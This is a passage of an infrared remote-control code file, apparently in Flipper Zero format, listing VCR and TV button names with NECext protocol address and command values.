00 -# -name: FF/SHUTTLE_SRCH_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR_FF>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR_FF_>>_/_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: FF/SRCH_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: A_FFWD_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR_FF_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: FF/SHUT.SRCH_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: FF_>>/>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCRA_FFWD_>>/>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCRA_FF_>>_/_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: FFWD/SFWD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VIDEO_A_>>/>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR_A_FFWD_>>/>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: PROGRAM-CHECK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: SHTL_FWD/TV_VOL+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR_FWD_>>/>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: VCR_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: REW/SHUTTLE_SRCH_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: VCR_REW_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: VCR_REW_<<_/_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: REW/SRCH_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: A_REW_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: REW/SHUT.SRCH_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: REW_< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: VCR_PLAY_> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: PLAY/X2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: REC_PLAY/X2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: A_PLAY/X2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: VCR_PLAY/X2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: VCRA_PLAY_> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: VIDEO_A_PLAY_> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: VCR_A_PLAY> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: VCR_PLAY> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: PAUSE/STILL_ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: VCR_PAUSE_ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: A_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: VCR_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: PAUSE_> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: PAUSE_> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: VCRA_PAUSE_ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: VIDEO_A_PAUSE_ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: VCR_A_PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: SKIP-SEARCH -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: VCR_PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 10 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 11 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 -# -name: VCR_TV/VCR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 -# -name: VCR_TV/VIDEO -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 -# -name: A_TV/VIDEO -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 -# -name: VCRA_TV/VIDEO -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 -# -name: VIDEO_A_TV/VIDEO -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 -# -name: VCR_A_TV/VIDEO -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: VCR_SEARCH_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: VCR_SEARCH_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: VARIABLE_SRCH_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: A_VAR_SRCH_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: VCR_VAR.SRCH_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: VAR.SRCH_FWD_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: VAR._SEARCH>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: VCRA_SHUTTLE_>>_(+) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: VCRA_SHUT_PLUS_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: >>_/PUSH_JOG_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: SHUTTLE_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: SEARCH_FWD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: FORWARD_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: VID_A_VAR_SEARCH_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: SHUTTLE_RIGHT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: SEARCH_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: VCRA_SRCH>>(VARIABLE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: TIME_SCAN_RIGHT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: SCAN>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: VAR_SEARCH_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: VCR_SEARCH>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: TV_VOLUME_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: VCR_SEARCH_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: VCR_SEARCH_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: VARIABLE_SRCH_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: A_VAR_SRCH_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: VCR_VAR.SRCH_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: VAR.SRCH_REV_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: VAR._SEARCH<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: VCRA_SHUTTLE_<<_(-) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: VCRA_SHUT_PLUS_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: <<_REVIEW -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: <<_/PUSH_JOG_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: SHUTTLE_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: SEARCH_REV -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: SLOW_REWIND_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: VID_A_VAR_SEARCH_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: SHUTTLE_LEFT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: SEARCH_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: VCRA_SRCH<<(VARIABLE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: TIME_SCAN_LEFT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: SCAN<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: VAR_SEARCH_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: VCR_SEARCH<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: TV_VOLUME_-- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 17 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 17 00 00 00 -# -name: A.MONITOR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 17 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 17 00 00 00 -# -name: VID_A_AUDIO_MONITOR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 17 00 00 00 -# -name: A._MONITOR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 17 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCR_CH_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCR_CH_V -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCR_CH/SET_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: (VCR)_CHANNEL_V -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VIDEO_CH_-_NEXT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCR_CH_V_/SET_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: A_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: A_VIDEO_CH_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_V/SET_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CH_V_/SET_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CH_DOWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CH_V -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CH/SET_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCR_CH_-_(TV_PROG) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCRA_CH/SET_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCRA_CH_V -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_-- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: TV_PROG/2SET_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CH_DN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CH_DWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: SET_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VID_A_TV_PROG_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: SHUTTLE_DOWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: SET- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCR_A_CH- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: TIME_SCAN_DOWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_NEXT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: STOP_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: VCR_CHANNEL_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: TV_CHANNEL_-- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCR_CH_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCR_CH_^ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCR_CH/SET_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: (VCR)_CHANNEL_^ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VIDEO_CH_+_BACK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCR_CH_^_/SET_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: A_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: A_VIDEO_CH_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_^/SET_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CH_^_/SET_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CH_^ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CH/SET_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCR_CH_+_(2_SET_) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCRA_CH/SET_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCRA_CH_^ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: TV_PROG/2SET_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: SET_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VID_A_TV_PROG_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: SHUTTLE_UP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: SET+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCR_A_CH+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: TIME_SCAN_UP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CURSOR_BACK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: START_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: VCR_CHANNEL_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: TV_CHANNEL_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: POWER_OFF_(ALT.) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 1A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 1A 00 00 00 -# -name: POWER_ON_(ALT.) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 1D 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 1E 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: 1_(SUN) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: A_1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: VCRA_1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: 1/START_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: 1_/_START_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: 1_(ABC) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: VIDEO_A_1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: SUN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: VCR_A_1_(ABC) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: 2_(MON) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: A_2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: VCRA_2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: 2/STOP_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: 2_/_STOP_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: 2_(DEF) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: VIDEO_A_2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: MON -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: VCR_A_2_(DEF) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: VCR_3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: 3_(TUE) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: A_3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: VCRA_3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: 3/DATE_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: 3_/_DATE_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: 3_(GHI) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: VIDEO_A_3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: TUES -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: VCR_A_3_(GHI) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: VCR_4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: 4_(WED) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: A_4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: VCRA_4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: 4/START_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: 4_/_START_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: 4_(JKL) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: VIDEO_A_4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: WED -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: VCR_A_4_(JKL) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: ENTER/OSD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: VCR_5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 